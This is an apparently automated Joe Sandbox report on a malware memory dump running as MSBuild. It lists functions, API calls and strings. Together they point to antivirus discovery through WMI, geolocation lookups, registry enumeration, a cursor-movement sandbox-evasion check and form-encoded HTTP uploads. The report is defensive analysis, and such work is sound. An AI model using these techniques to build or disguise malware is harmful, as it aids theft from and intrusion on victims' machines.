F, xrefs: 004CF8C7
U, xrefs: 004D00A0
[, xrefs: 004CF8C3
n{, xrefs: 004CE5BF

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: %$+aii$9$;$<SLYR$>$C$Cao$D$D$F$Lb( $U$U$U$[$[$]$^$^$eks$j3l6lrek$n{$w$y$}{
API String ID: 469071346-2654065059
Opcode ID: b8f6449174ea9a677c095dc356ae9939e5abc2d9e94dd1588b09058c5a7cdc73
Instruction ID: 7417cdd4d66c97faec94657393e268677ea1e608b421e5d19b18f6df23a6c79a
Opcode Fuzzy Hash: b8f6449174ea9a677c095dc356ae9939e5abc2d9e94dd1588b09058c5a7cdc73
Instruction Fuzzy Hash: B24356B0D042688FDB65CB24CC94BEEBBB1BF49304F0481EAD54967281DB386E88CF55

Function 00436CA0 Relevance: 48.8, APIs: 2, Strings: 24, Instructions: 3321COMMON

Download Yara Rule

Strings

https://ipinfo.io/, xrefs: 004376E5
f, xrefs: 004371AB
E!$1$, xrefs: 00438377
1RR, xrefs: 00439FD5
$JEIA, xrefs: 0043893F
g, xrefs: 0043A075
n{, xrefs: 0043A723
/, xrefs: 0043A95E
L(-8-, xrefs: 00438799
lcog, xrefs: 00438087
https://ipgeolocation.io/, xrefs: 0043A9DC
%LU, xrefs: 004372C1
o, xrefs: 00437C50
;UZV^, xrefs: 0043851D
n{, xrefs: 0043A89F
@, xrefs: 0043AFC4
`, xrefs: 00439DED
bgrg, xrefs: 00437EE1
?[^K^, xrefs: 004381A1
s, xrefs: 00437A7A
Content-Type: application/x-www-form-urlencoded, xrefs: 00436EBA, 00436F0F, 00438DA2, 00438DF7, 00439D03
/F_, xrefs: 00439F03
g, xrefs: 0043A079
?[^K^, xrefs: 004379D2

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID: $JEIA$%LU$/$/F_$1RR$;UZV^$?[^K^$?[^K^$@$Content-Type: application/x-www-form-urlencoded$E!$1$$L(-8-$`$bgrg$f$g$g$https://ipgeolocation.io/$https://ipinfo.io/$lcog$n{$n{$o$s
API String ID: 0-4202864799
Opcode ID: fc86ad0e6cc66a294f2f77a7ac7ff4eed3bb910f61b30a9fb583c2c6c9aa0974
Instruction ID: 009e3aa1f1fbc12fea8c265774fa31fbb15222e88e55ed6fae987f700cd50bcc
Opcode Fuzzy Hash: fc86ad0e6cc66a294f2f77a7ac7ff4eed3bb910f61b30a9fb583c2c6c9aa0974
Instruction Fuzzy Hash: AD83F3B0D092688BDB25CB28CC94BEEBBB1AF49304F0481DAD54D67242CB796F85CF55

Function 0042F900 Relevance: 39.7, APIs: 13, Strings: 9, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0042FA4A
__aulldiv.LIBCMT ref: 0042FD59

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 0042FDFF
__aulldiv.LIBCMT ref: 0042FE6B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 0042FFA5
__aulldiv.LIBCMT ref: 004300DA
__aulldiv.LIBCMT ref: 0043029A
__fread_nolock.LIBCMT ref: 004302F1

Strings

n{, xrefs: 0043021C
n{, xrefs: 0042F9CC
j3l6lrek, xrefs: 0042FAFF, 0042FB3A
}{, xrefs: 0042FFEF
n{, xrefs: 0043005C
}{, xrefs: 0042F95E
:HX, xrefs: 0042FB8B
eks, xrefs: 0042FA70
n{, xrefs: 0042FCDB

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: :HX$eks$j3l6lrek$n{$n{$n{$n{$}{$}{
API String ID: 3493607940-1063084820
Opcode ID: 5352caf5ec60a5ee43a1caaeafc5aef3350c9723f24cc5b429c06ee1636b6c81
Instruction ID: 80603ceed5e5ecb815a2336bb84db937df39f84d1c4a8ceee33aefd1604ca137
Opcode Fuzzy Hash: 5352caf5ec60a5ee43a1caaeafc5aef3350c9723f24cc5b429c06ee1636b6c81
Instruction Fuzzy Hash: 5DB2A1B1D001189FDB24CB64CC91BEEB7B5BB88304F1481AAE509B7391DB786E85CF95

Function 004309A0 Relevance: 39.7, APIs: 13, Strings: 9, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00430AEA
__aulldiv.LIBCMT ref: 00430DF9

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00430E9F
__aulldiv.LIBCMT ref: 00430F0B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431045
__aulldiv.LIBCMT ref: 0043117A
__aulldiv.LIBCMT ref: 0043133A
__fread_nolock.LIBCMT ref: 00431391

Strings

L>., xrefs: 00430C2B
j3l6lrek, xrefs: 00430B9F, 00430BDA
n{, xrefs: 00430A6C
n{, xrefs: 00430D7B
}{, xrefs: 0043108F
}{, xrefs: 004309FE
n{, xrefs: 004310FC
eks, xrefs: 00430B10
n{, xrefs: 004312BC

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: L>.$eks$j3l6lrek$n{$n{$n{$n{$}{$}{
API String ID: 3493607940-3512644766
Opcode ID: 7ad33f4ffc53ff27c6dbe7a672e1e23c6f6dc784ad67b4aae01cbba15336c5bc
Instruction ID: 4b8030dd088baf5a40f7a31888a250f1bbbdb175115375ead4fba1f87eac71f9
Opcode Fuzzy Hash: 7ad33f4ffc53ff27c6dbe7a672e1e23c6f6dc784ad67b4aae01cbba15336c5bc
Instruction Fuzzy Hash: 6EB2A1B1D002189FDB24DB64CC91BEEB7B5BB88304F14819AE509B7390DB786E85CF95

Function 00432DB0 Relevance: 25.4, APIs: 3, Strings: 11, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00432F14
__aulldiv.LIBCMT ref: 00432FCD
__aulldiv.LIBCMT ref: 00433698

Strings

n{, xrefs: 00432E96
0srs, xrefs: 0043302F
j3l6lrek, xrefs: 00433874, 004338AF, 00433AA8, 00433AE3
Z, xrefs: 0043325A
n{, xrefs: 0043361A
O, xrefs: 00433256
eks, xrefs: 004337D6, 00433A01
Z, xrefs: 00433252
_, xrefs: 0043324E
Content-Type: application/x-www-form-urlencoded, xrefs: 004336DD, 0043371D
;, xrefs: 0043324A

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: 0srs$;$Content-Type: application/x-www-form-urlencoded$O$Z$Z$_$eks$j3l6lrek$n{$n{
API String ID: 3732870572-2963995603
Opcode ID: f81b2602784a5bc6ecd6ce1ac5d9c035e61448b1b7ec753fb17dab85234cc4b5
Instruction ID: e4f144eb6866c9f15e0174b874faaea5c0fb60d0f0c4e6e2486b5e18bccaafbb
Opcode Fuzzy Hash: f81b2602784a5bc6ecd6ce1ac5d9c035e61448b1b7ec753fb17dab85234cc4b5
Instruction Fuzzy Hash: D2923670D002289BDB24DF68CC95BEEBBB1BF89304F1481DAE409A7251DB786E85CF55

Function 004327D0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 004327DD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00432803
CoUninitialize.OLE32 ref: 00432812

Strings

displayName, xrefs: 00432A14
Select * From AntiVirusProduct, xrefs: 004328F5
%ws, xrefs: 00432A43
WQL, xrefs: 00432926
ROOT\SecurityCenter2, xrefs: 00432868

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: 0fb6d56c901af225c6bfade65e6bd2b8352ccdea5552808109e045047202dc6a
Instruction ID: 4288d1d4c252e29bef7cf26b8597fe6888cbe1e75489e8b63adeb755e9b52ba4
Opcode Fuzzy Hash: 0fb6d56c901af225c6bfade65e6bd2b8352ccdea5552808109e045047202dc6a
Instruction Fuzzy Hash: E0A13A74E00209EFDB14DF94C995BEEB7B1FF48304F20815AE512AB290D7B86A85DF54

Function 00433F10 Relevance: 22.5, APIs: 3, Strings: 9, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004349C0
__aulldiv.LIBCMT ref: 00434D18
__aulldiv.LIBCMT ref: 00435074

Strings

z, xrefs: 0043475F
r, xrefs: 004353DD
j3l6lrek, xrefs: 00433FD0, 0043400B, 00435618, 00435653
])$-8, xrefs: 00435191
L9> , xrefs: 00434AF4
eks, xrefs: 00433F29, 00435571
m, xrefs: 00434E0B
i, xrefs: 004340CA
u, xrefs: 00434043

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: L9> $])$-8$eks$i$j3l6lrek$m$r$u$z
API String ID: 3732870572-3037306690
Opcode ID: e1b3f4d53f9e5b31b2b617db732cfab948bce82f0cf315e8b1d8c298da0ff7e1
Instruction ID: 097ec3de9a0d552a72c5eead724637650cdad3b65235f9df5b072cebc6055ced
Opcode Fuzzy Hash: e1b3f4d53f9e5b31b2b617db732cfab948bce82f0cf315e8b1d8c298da0ff7e1
Instruction Fuzzy Hash: DCE27770D042688BDB24DB64CC95BEEBBB5BF89304F0481EAE50967381DB782E85CF55

Function 004358A0 Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

z, xrefs: 0043628E
j3l6lrek, xrefs: 00435E05, 00435E40
D, xrefs: 00435A76
8, xrefs: 00435A72
2, xrefs: 00435AF6
eks, xrefs: 00435D5E
N, xrefs: 00435AFA

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: 2$8$D$N$eks$j3l6lrek$z
API String ID: 4258034872-2262531636
Opcode ID: 26757feb48a7352041170c114c5eb6b1746594f59e44f1689413e017b7ab4b80
Instruction ID: db6f3ab7cd9c42f10531c76a974450e8f1665f2d29a0a6ab9a422aa2031016b1
Opcode Fuzzy Hash: 26757feb48a7352041170c114c5eb6b1746594f59e44f1689413e017b7ab4b80
Instruction Fuzzy Hash: E8C267B1D002589FCB24DB64CC91BEEBBB1BF48304F0481EAE50A67381DB786A85CF55

Function 00508D80 Relevance: 16.0, APIs: 10, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00508EB7
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509009
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050915B
GetModuleHandleA.KERNEL32(?,?,?), ref: 005092AD
GetModuleHandleA.KERNEL32(?,?,?), ref: 005093FF
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509587
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509721
GetModuleHandleA.KERNEL32(?,?,?), ref: 005098BB
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509A55
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509BEF

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 61d32dda9e4d37b2856a3451b67d0c373386b42024caf5280836d24abba5e7e9
Instruction ID: f54d69e34ba9b21312382ec6f9645a4314ff1be99be5a40234549bb951e0b6a5
Opcode Fuzzy Hash: 61d32dda9e4d37b2856a3451b67d0c373386b42024caf5280836d24abba5e7e9
Instruction Fuzzy Hash: 98B2F470D052688FDB25CF68CCA0BEEBBB1BF89308F1481D9D549AB346D6316A84DF54

Function 004400A0 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

__aulldiv.LIBCMT ref: 004403C5
__aulldiv.LIBCMT ref: 00440439

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 004405CF

Strings

F4$, xrefs: 004401F0
j3l6lrek, xrefs: 00440538, 00440567
}{, xrefs: 004402DA
eks, xrefs: 0044047A, 004404A9
n{, xrefs: 00440347

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: F4$$eks$j3l6lrek$n{$}{
API String ID: 577242060-488548467
Opcode ID: 621d541c632a38db78803cc8023c3ee9e34bf17dbc584456a24da4c18d4b1352
Instruction ID: 66e22caea41197ff3048d8e9292abdce64640725f2c17728816ecb4b8662871b
Opcode Fuzzy Hash: 621d541c632a38db78803cc8023c3ee9e34bf17dbc584456a24da4c18d4b1352
Instruction Fuzzy Hash: F6F13C71D002189FDB14DBA4DC85BEEBBB1BF88304F14819AE509A7381DB786E85CF95

Function 00441AF0 Relevance: 13.0, APIs: 4, Strings: 3, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

__aulldiv.LIBCMT ref: 00441DB7
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,eks), ref: 00441FE0
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00441E69

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

j3l6lrek, xrefs: 00441C69, 00441CA4, 00441F41, 00441F7C, 0044252A, 00442565, 00442768, 004427A3
n{, xrefs: 00441D39
eks, xrefs: 00441BD4, 00441EAC, 00442448, 00442483, 00442686, 004426C1

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionEnumOpenVariableWake__aulldiv
String ID: eks$j3l6lrek$n{
API String ID: 2427947366-86532494
Opcode ID: fc34ee7a0b14c402d1c2a1bc7c964a3a6c45c4d492fb3d96f32254c23ce01672
Instruction ID: 3ce4eab7bc9966ec06563f63b8a7e4ee9434c65e05c46a6efc02796d2f42f37c
Opcode Fuzzy Hash: fc34ee7a0b14c402d1c2a1bc7c964a3a6c45c4d492fb3d96f32254c23ce01672
Instruction Fuzzy Hash: 9E824170D002289FDB24CF64C995BEEBBB1BF49304F1481DAE409A7291DB786E89CF55

Function 0042B840 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042B892
GetLastError.KERNEL32 ref: 0042B8A2
__aulldiv.LIBCMT ref: 0042B902
__aulldiv.LIBCMT ref: 0042B9DF
__aulldiv.LIBCMT ref: 0042BB05

Strings

n{, xrefs: 0042B997

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$AttributesErrorFileLast
String ID: n{
API String ID: 3597693367-2104556642
Opcode ID: fc4b3d48a0e8540657a869ce82f5b0197dc0f5a76b0b9dd1f948638ca3d1c01e
Instruction ID: 44c97013f5b65640722b1e4ba322d050673a7c89aed965f0a1b77def22a273ce
Opcode Fuzzy Hash: fc4b3d48a0e8540657a869ce82f5b0197dc0f5a76b0b9dd1f948638ca3d1c01e
Instruction Fuzzy Hash: 66A18471E002189FEB24CFA8DC81B9EBBB6FB88714F118169E508B7385D7786D418F94

Function 00432300 Relevance: 9.3, APIs: 6, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00432313
GetCursorPos.USER32(?), ref: 0043232A
Sleep.KERNEL32(?), ref: 004324E0
GetCursorPos.USER32(?), ref: 004324EA
__aulldiv.LIBCMT ref: 004325CD
Sleep.KERNEL32(?), ref: 004327B5

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Cursor$Sleep$__aulldiv
String ID:
API String ID: 1481957275-0
Opcode ID: d2eee400279e9d957e3da22267a717102f1fee945c863c47cfce2d3cd15cc7e2
Instruction ID: 375cfc09b03ecb9e91bc55ebd2385ec7a2d6df576953a530d1ac96b91999e4a1
Opcode Fuzzy Hash: d2eee400279e9d957e3da22267a717102f1fee945c863c47cfce2d3cd15cc7e2
Instruction Fuzzy Hash: F4F1D774E04219DFDB14CF98C990BAEBBB2FF88304F14819AD819A7345D778AA81CF55

Function 00433CF0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00433D8D
__aulldiv.LIBCMT ref: 00433E47

Strings

AU., xrefs: 00433DBB
n{, xrefs: 00433DFF
Content-Type: application/x-www-form-urlencoded, xrefs: 00433E74, 00433EA8

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: AU.$Content-Type: application/x-www-form-urlencoded$n{
API String ID: 3732870572-2762896062
Opcode ID: 564a9c53bc46c4c409a778d4edc3634a30f7ad9adbc17df131e0649f8af0ce7a
Instruction ID: 669cdcbc90d8bd02f8a37ada013642480785e7ccf461275370d6c2e67f3ef742
Opcode Fuzzy Hash: 564a9c53bc46c4c409a778d4edc3634a30f7ad9adbc17df131e0649f8af0ce7a
Instruction Fuzzy Hash: 1E612EB1E00208ABDB14DFA9DC55BEEBBB5FF88304F508119E509BB380DB786945CB95

Function 004263E0 Relevance: 7.2, APIs: 2, Strings: 1, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00423900: __aulldiv.LIBCMT ref: 00423C96

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004281FA
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0042839F

Strings

0c\UU@, xrefs: 004266BE

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: 0c\UU@
API String ID: 898380398-831922003
Opcode ID: 3b979697a2a28dc4638233d70ca8ea3be594a0fc403fc6354966161bc91f2c7b
Instruction ID: 5815af0ce324c93d44586b93ce555d085c74b246f2de5e0bfc69a2d9b84e3f3c
Opcode Fuzzy Hash: 3b979697a2a28dc4638233d70ca8ea3be594a0fc403fc6354966161bc91f2c7b
Instruction Fuzzy Hash: DB231870E052688FCB25CF68DC90BEEBBB1BF4A308F1481DAD449A7342D6356A85DF54

Function 0050BBB0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 218networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0050B890: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B8E4

InternetCloseHandle.WININET(00000000), ref: 0050BE57

Strings

{, xrefs: 0050BD81

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Internet$CloseHandleOpen
String ID: {
API String ID: 435140893-366298937
Opcode ID: a50ecd5835876eb8dd4a800f883d32f1f3cc1d675fc045545af166e7928cc127
Instruction ID: 303ff10650ca6c4884a928bc1d4f83d84d075c7b5ef5698bfc1688b859a78c2b
Opcode Fuzzy Hash: a50ecd5835876eb8dd4a800f883d32f1f3cc1d675fc045545af166e7928cc127
Instruction Fuzzy Hash: 2AA1F1B5D00209DFEB14DF98C895BEEBBB5BF48304F248159E905AB281D774AA45CFA0

Function 0051BD80 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051BE0E
GetLastError.KERNEL32 ref: 0051BE4F
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051BEF4

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: ab7339f71b8fd24bb1daaef78b96bdccfb41147339b43e99d32d35df6a0c16a1
Instruction ID: fe9c51b8f3508887e9fe5af8ccbade2a034f56e57b751b4b205892e94710cfb6
Opcode Fuzzy Hash: ab7339f71b8fd24bb1daaef78b96bdccfb41147339b43e99d32d35df6a0c16a1
Instruction Fuzzy Hash: D051D1B5E08288ABEF04DBF98C55AEFBFF56F5C200F0484ADF555E3282E63446048B60

Function 0051C020 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051C0CF
GetModuleHandleA.KERNEL32(00000000), ref: 0051C1AE

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0051BD80: GetModuleHandleA.KERNEL32(00000000), ref: 0051BE0E
Part of subcall function 0051BD80: GetLastError.KERNEL32 ref: 0051BE4F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: a273376bf9418daafef374fe275ad86f533da78d0465f811e7bf7bf49d955769
Instruction ID: 69a9a7caf1b3a47ec4176bf7c1269fc47c7bd7e0e76803d0bab5eea4d85b5a08
Opcode Fuzzy Hash: a273376bf9418daafef374fe275ad86f533da78d0465f811e7bf7bf49d955769
Instruction Fuzzy Hash: E451C3B1D04249AFDB14DBF89845AEEBFB5BB98300F04456AF555A3282EA345A048BA1

Function 00431A40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00431AFC

Strings

j3l6lrek, xrefs: 00431BF1, 00431C20
}, xrefs: 00431C44
m, xrefs: 00431C48
n{, xrefs: 00431A9C
eks, xrefs: 00431B33, 00431B62
}{, xrefs: 00431A4C

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: eks$j3l6lrek$m$n{$}$}{
API String ID: 3732870572-2155061626
Opcode ID: 570fdce1bff2163f546b2d44297705b8fce1b708f348b16e0cca711fddc8519b
Instruction ID: 43188a1591aad1c34db43096a5003d9be3fc9e5e01c1351a24c8dc1fba59194c
Opcode Fuzzy Hash: 570fdce1bff2163f546b2d44297705b8fce1b708f348b16e0cca711fddc8519b
Instruction Fuzzy Hash: 83A103B0D042589FDF14CFA5C891BEEBBB1BF48304F1481AAD409AB341DB786A85CF95

Function 0050B890 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B8E4
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 0050BA08

Strings

6~swr, xrefs: 0050B9B0

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Open$HttpInternetRequest
String ID: 6~swr
